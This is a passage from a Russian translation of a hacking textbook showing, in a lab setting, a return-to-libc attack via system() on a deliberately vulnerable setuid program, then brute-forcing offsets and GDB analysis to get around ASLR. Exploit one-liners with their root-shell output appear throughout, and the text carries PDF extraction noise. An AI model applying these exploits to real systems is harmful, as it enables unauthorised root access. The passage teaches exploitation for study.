0x6b2 Возврат в system()
Одна из простейших функций libc, в которую может происходить воз- врат, – это system(). Эта функция принимает единственный аргумент и выполняет этот аргумент через /bin/sh. В нашем примере рассматри- вается простая уязвимая программа.
vuln.c
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
Разумеется, она станет уязвимой после компиляции и установки фла- га setuid.
reader@hacking:
/booksrc $ gcc -o vuln vuln.c reader@hacking:
/booksrc $ sudo chown root ./vuln reader@hacking:
/booksrc $ sudo chmod u+s ./vuln reader@hacking:
/booksrc $ ls -l ./vuln
-rwsr-xr-x 1 root reader 6600 2007-09-30 22:43 ./vuln
420
0x600 Противодействие reader@hacking:/booksrc $
Идея в том, чтобы заставить уязвимую программу запустить оболоч- ку, не выполняя никаких команд в стеке, путем возврата в библиотеч- ную функцию system(). Если передать этой функции аргумент “/bin/
sh”
, она должна породить оболочку.
Сначала надо определить местонахождение функции system() в библи- отеке libc. Для каждой машины оно будет своим, но не изменится, пока
libc не будет перекомпилирована заново. Один из простейших спосо- бов выяснить адрес функции в
libc – написать элементарную програм- му и запустить ее в отладчике, например:
reader@hacking:/booksrc $ cat > dummy.c int main()
{ system(); }
reader@hacking:/booksrc $ gcc -o dummy dummy.c reader@hacking:/booksrc $ gdb -q ./dummy
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) break main
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/matrix/booksrc/dummy
Breakpoint 1, 0x0804837a in main ()
(gdb) print system
$1 = {} 0xb7ed0d80
(gdb) quit
Здесь создана программа dummy, содержащая вызов функции system().
После компиляции двоичный модуль открывается в отладчике и в на- чале программы задается точка останова. Запускается программа и вы- водится адрес функции system(). В данном случае функция system() на- ходится по адресу 0xb7ed0d80.
Зная этот адрес, мы можем направить выполнение программы в функ- цию system() библиотеки libc. Однако требуется заставить уязвимую программу выполнить system(“/bin/sh”) и получить оболочку, поэтому надо передать функции аргумент. При возврате в libc адрес возврата и аргументы функции считываются из стека в уже знакомом формате: адрес возврата, за которым следуют аргументы. В стеке ret2libc-вызов должен выглядеть примерно как на рис. 6.2.
Адрес возврата
Аргумент 1
Адрес функции
Аргумент 2
Аргумент 3 ...
Рис. 6.2. Содержимое стека
Сразу после адреса функции из libc расположен адрес, на который сле- дует передать управление после обращения к libc. За этим адресом воз- врата последовательно располагаются все аргументы функции.
0x6c0 Рандомизация стековой памяти (ASLR)
421В данном случае не имеет значения, куда передается управление по- сле обращения к
libc, поскольку будет открыта интерактивная обо- лочка. Следовательно, эти четыре байта можно заполнить фиктивным значением FAKE. Аргумент только один, и он должен быть указателем на строку /bin/sh. Ее можно записать в любое место памяти. Прекрас- ный кандидат – переменная окружения. В следующем листинге этой строке предшествуют несколько пробелов. Они
играют ту же роль, что и NOP-цепочка, давая возможность маневра, так как system(“ /bin/sh”) – то же самое, что system(“ /bin/sh”).
reader@hacking:/booksrc $ export BINSH=” /bin/sh”
reader@hacking:/booksrc $ ./getenvaddr BINSH ./vuln
BINSH will be at 0xbffffe5b reader@hacking:/booksrc $
Итак, адрес system() равен 0xb7ed0d80, а строка /bin/sh во время выпол- нения программы будет располагаться по адресу 0xbffffe5b. Это озна- чает, что вместо адреса возврата в стек надо записать ряд адресов на- чиная с 0xb7ecfd80, затем фиктивный FAKE (безразлично, куда перейдет управление после вызова system()) и в завершение 0xbffffe5b.
Короткий перебор показывает, что адрес возврата в стеке перезаписы- вается, скорее всего, восьмым словом входных данных программы, по- этому в нашем эксплойте для заполнения понадобится семь слов фик- тивных данных.
reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x5’)
reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x10’)
Segmentation fault reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x8’)
Segmentation fault reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x7’)
Illegal instruction reader@hacking:/booksrc $ ./vuln $(perl -e ‘print “ABCD”x7 . “\x80\x0d\xed\
xb7FAKE\x5b\xfe\xff\xbf”’)
sh-3.2# whoami root sh-3.2#
Эксплойт при необходимости можно расширить, создав цепочку вы- зовов
libc. Адрес возврата FAKE можно изменить, направив выполнение программы в нужное место.
0x6c0 Рандомизация стековой памяти (ASLR) В другом способе защиты применяется несколько иной подход. Он не запрещает выполнение в стеке, но структура памяти стека рандомизу- ется. Атакующий не может
вернуть управление своему шелл-коду, по- тому что не знает, где он находится.
422
0x600 Противодействие
В ядре Linux эта система включена начиная с версии 2.6.12, на загру- зочном диске для этой книги
1
она выключена. Чтобы снова включить данную защиту, запишите 1 в файловую систему /proc:
reader@hacking:/booksrc $ sudo su - root@hacking: # echo 1 > /proc/sys/kernel/randomize_va_space root@hacking: # exit logout reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]------- reader@hacking:/booksrc $
Если включить эту систему защиты, эксплойт notesearch перестает ра- ботать, потому что структура стека рандомизирована. При каждом за- пуске программы стек начинается в случайном месте. Это иллюстриру- ется следующим примером.
aslr_demo.c
#include
int main(int argc, char *argv[]) {
char buffer[50];
printf(“buffer is at %p\n”, &buffer);
if(argc > 1)
strcpy(buffer, argv[1]);
return 1;
}
В этой программе есть очевидная уязвимость переполнения буфера, но при включенной ASLR ее эксплойт не так прост.
reader@hacking:/booksrc $ gcc -g -o aslr_demo aslr_demo.c reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbffbbf90
reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbfe4de20
reader@hacking:/booksrc $ ./aslr_demo buffer is at 0xbfc7ac50
reader@hacking:/booksrc $ ./aslr_demo $(perl -e ‘print “ABCD”x20’)
buffer is at 0xbf9a4920
Segmentation fault reader@hacking:/booksrc $
1
www.symbol.ru/library/hacking-2ed. – Прим. ред.
0x6c0 Рандомизация стековой памяти (ASLR)
423Обратите внимание, как меняется адрес буфера в стеке при каждом за- пуске программы. Мы по-прежнему можем внедрить шелл-код и раз- рушить память,
заменив адрес возврата, но мы не знаем, в каком месте памяти находится шелл-код. Рандомизация изменяет и положение пе- ременных окружения.
reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfd919c3
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfe499c3
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfcae9c3
reader@hacking:/booksrc $
Такой тип защиты может быть очень эффективным в борьбе с обычны- ми взломщиками, но для упорного хакера его может оказаться недо- статочно. Сможете ли вы придумать эксплойт этой программы и при таких условиях?
0x6c1 Анализ с помощью BASH и GDBРаз ASLR не мешает нам калечить память, применим скрипт BASH, чтобы грубым перебором выяснить расстояние между адресом возвра- та и началом буфера. Когда программа завершает работу, статусом за- вершения является значение, возвращаемое функцией main. Этот ста- тус хранится в переменной BASH с именем $?, и по нему можно выяс- нить, было ли завершение программы аварийным.
reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbfb80320
reader@hacking:/booksrc $ echo $?
1
reader@hacking:/booksrc $ ./aslr_demo $(perl -e ‘print “AAAA”x50’)
buffer is at 0xbfbe2ac0
Segmentation fault reader@hacking:/booksrc $ echo $?
139
reader@hacking:/booksrc $
С помощью условного оператора можно прервать выполнение нашего скрипта, если он обрушит эту программу. Блок условного оператора if располагается между ключевыми словами then и fi; пробельные симво- лы обязательны. Команда break служит для выхода из цикла for.
reader@hacking:/booksrc $ for i in $(seq 1 50)
> do
> echo “Trying offset of $i words”
> ./aslr_demo $(perl -e “print ‘AAAA’x$i”)
> if [ $? != 1 ]
> then
4240x600 Противодействие
> echo “==> Correct offset to return address is $i words”
> break
> fi
> done
Trying offset of 1 words buffer is at 0xbfc093b0
Trying offset of 2 words buffer is at 0xbfd01ca0
Trying offset of 3 words buffer is at 0xbfe45de0
Trying offset of 4 words buffer is at 0xbfdcd560
Trying offset of 5 words buffer is at 0xbfbf5380
Trying offset of 6 words buffer is at 0xbffce760
Trying offset of 7 words buffer is at 0xbfaf7a80
Trying offset of 8 words buffer is at 0xbfa4e9d0
Trying offset of 9 words buffer is at 0xbfacca50
Trying offset of 10 words buffer is at 0xbfd08c80
Trying offset of 11 words buffer is at 0xbff24ea0
Trying offset of 12 words buffer is at 0xbfaf9a70
Trying offset of 13 words buffer is at 0xbfe0fd80
Trying offset of 14 words buffer is at 0xbfe03d70
Trying offset of 15 words buffer is at 0xbfc2fb90
Trying offset of 16 words buffer is at 0xbff32a40
Trying offset of 17 words buffer is at 0xbf9da940
Trying offset of 18 words buffer is at 0xbfd0cc70
Trying offset of 19 words buffer is at 0xbf897ff0
Illegal instruction
==> Correct offset to return address is 19 words reader@hacking:/booksrc $
Знание правильного смещения позволит нам перезаписать адрес воз- врата. Однако мы все равно не можем выполнить шелл-код, потому что его адрес случаен. С помощью GDB
изучим программу в тот момент, когда она собирается вернуться из функции main.
reader@hacking:/booksrc $ gdb -q ./aslr_demo
0x6c0 Рандомизация стековой памяти (ASLR)
425
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) disass main
Dump of assembler code for function main:
0x080483b4 : push ebp
0x080483b5 : mov ebp,esp
0x080483b7 : sub esp,0x58 0x080483ba : and esp,0xfffffff0 0x080483bd : mov eax,0x0 0x080483c2 : sub esp,eax
0x080483c4 : lea eax,[ebp-72]
0x080483c7 : mov DWORD PTR [esp+4],eax
0x080483cb : mov DWORD PTR [esp],0x80484d4 0x080483d2 : call 0x80482d4 0x080483d7 : cmp DWORD PTR [ebp+8],0x1 0x080483db : jle 0x80483f4
0x080483dd : mov eax,DWORD PTR [ebp+12]
0x080483e0 : add eax,0x4 0x080483e3 : mov eax,DWORD PTR [eax]
0x080483e5 : mov DWORD PTR [esp+4],eax
0x080483e9 : lea eax,[ebp-72]
0x080483ec : mov DWORD PTR [esp],eax
0x080483ef : call 0x80482c4
0x080483f4 : mov eax,0x1 0x080483f9 : leave
0x080483fa : ret
End of assembler dump.
(gdb) break *0x080483fa
Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12.
(gdb)
Точка останова установлена на последней команде. Эта команда воз- вращает EIP к адресу возврата, хранящемуся в стеке. Когда эксплойт перезаписывает адрес возврата, это последняя команда, выполняемая под управлением исходной программы. Посмотрим на состояние реги- стров в этом месте программы для нескольких пробных прогонов.
(gdb) run
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfa131
a0
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
demo.c:12 12 }
(gdb) info registers eax 0x1 1
ecx 0x0 0
edx 0xb7f000b0 -1209007952
ebx 0xb7efeff4 -1209012236
esp 0xbfa131
ec 0xbfa131ec ebp 0xbfa13248 0xbfa13248
esi 0xb7f29ce0 -1208836896
426
0x600 Противодействие edi 0x0 0
eip 0x80483fa 0x80483fa
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfd8e5
20
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
demo.c:12 12 }
(gdb) i r esp
esp
0xbfd8e56c 0xbfd8e56c
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfaada
40
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
demo.c:12 12 }
(gdb) i r esp
esp 0xbfaada
8c 0xbfaada8c
(gdb)
Посмотрите, как близок ESP к адресу буфера, несмотря на всю рандо- мизацию (строки, выделенные полужирным). Это понятно, потому что указатель стека указывает на стек, а буфер находится в стеке. Значе- ние ESP и адрес буфера изменились на одну и ту же случайную величи- ну, потому что они связаны между собой.
Команда GDB stepi выполняет программу пошагово, по одной коман- де. С ее помощью мы узнаем значение ESP после того, как выполнит- ся команда ret.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfd1ccb0
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_
demo.c:12 12 }
0x6c0 Рандомизация стековой памяти (ASLR)
427(gdb) i r esp esp 0xbfd1ccfc 0xbfd1ccfc
(gdb) stepi
0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r esp esp 0xbfd1cd00 0xbfd1cd00
(gdb) x/24x 0xbfd1ccb0 0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291 0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429 0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4 0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4 0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc
0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898
(gdb) p 0xbfd1cd00 - 0xbfd1ccb0
$1 = 80
(gdb) p 80/4
$2 = 20
(gdb)
Пошаговое выполнение показывает, что команда ret увеличивает зна- чение ESP на 4. Вычитая значение ESP из адреса буфера, выясняем, что
ESP указывает на 80 байт (или 20 слов) после начала буфера. Так как смещение адреса возврата составляло 19 слов, значит, после выполне- ния последней команды ret в main ESP указывает на память стека, нахо- дящуюся сразу за адресом возврата. Было бы хорошо, если б удалось за- ставить EIP пойти туда, куда указывает ESP.
0x6c2 Отскок от linux-gateОписанный ниже прием не действует с ядрами Linux начиная с версии
2.6.18. Он приобрел некоторую популярность, и разработчики ядра, естественно, внесли соответствующие исправления. На
загрузочном диске книги1
используется ядро 2.6.20, поэтому ниже приведен ли- стинг с машины loki, работающей под ядром Linux 2.6.17. Несмотря на то что данный прием не работает на загрузочном диске, его идеи можно применить другими полезными способами.
При
отскоке от linux-gate (
bouncing off linux-gate) речь идет о разделя- емом объекте ядра, похожем на библиотеку совместного доступа. Про- грамма
ldd показывает, какие разделяемые библиотеки нужны про- грамме. Заметите ли вы что-нибудь любопытное насчет библиотеки
linux-gate в следующем листинге?
matrix@loki /hacking $ $ uname -a
Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space
1
matrix@loki /hacking $ ldd ./aslr_demo
1
www.symbol.ru/library/hacking-2ed. – Прим. ред. 4280x600 Противодействие
linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
/lib/ld-linux.so.2 (0xb7fe5000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f95000)
libc.so.6 => /lib/libc.so.6 (0xb7e75000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
/lib/ld-linux.so.2 (0xb7fb1000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f50000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
/lib/ld-linux.so.2 (0xb7f6c000)
matrix@loki /hacking $
В разных программах даже при включенной системе ASLR библиотека
linux-gate.so.1 всегда располагается по одному и тому же адресу. Это вир- туальный динамически разделяемый объект, с помощью которого ядро ускоряет системные вызовы, а это значит, что он нужен в каждом про- цессе. Он загружается прямо из ядра и отсутствует где-либо на диске.
Существенно, что в каждом процессе есть блок памяти, в котором на- ходятся команды
linux-gate, и они всегда располагаются по одному и тому же адресу даже при включенной ASLR. Мы попробуем найти в этом участке
памяти одну специальную команду ассемблера, а имен- но jmp esp. Эта команда переводит EIP туда, куда указывает ESP.
Сначала ассемблируем эту команду, чтобы посмотреть, как она выгля- дит в машинном коде.
matrix@loki /hacking $ cat > jmpesp.s
BITS 32
jmp esp matrix@loki /hacking $ nasm jmpesp.s matrix@loki /hacking $ hexdump -C jmpesp
00000000 ff e4 |..|
00000002
matrix@loki /hacking $
Получив эти сведения, напишем простую программу, которая найдет эту пару в своей собственной памяти.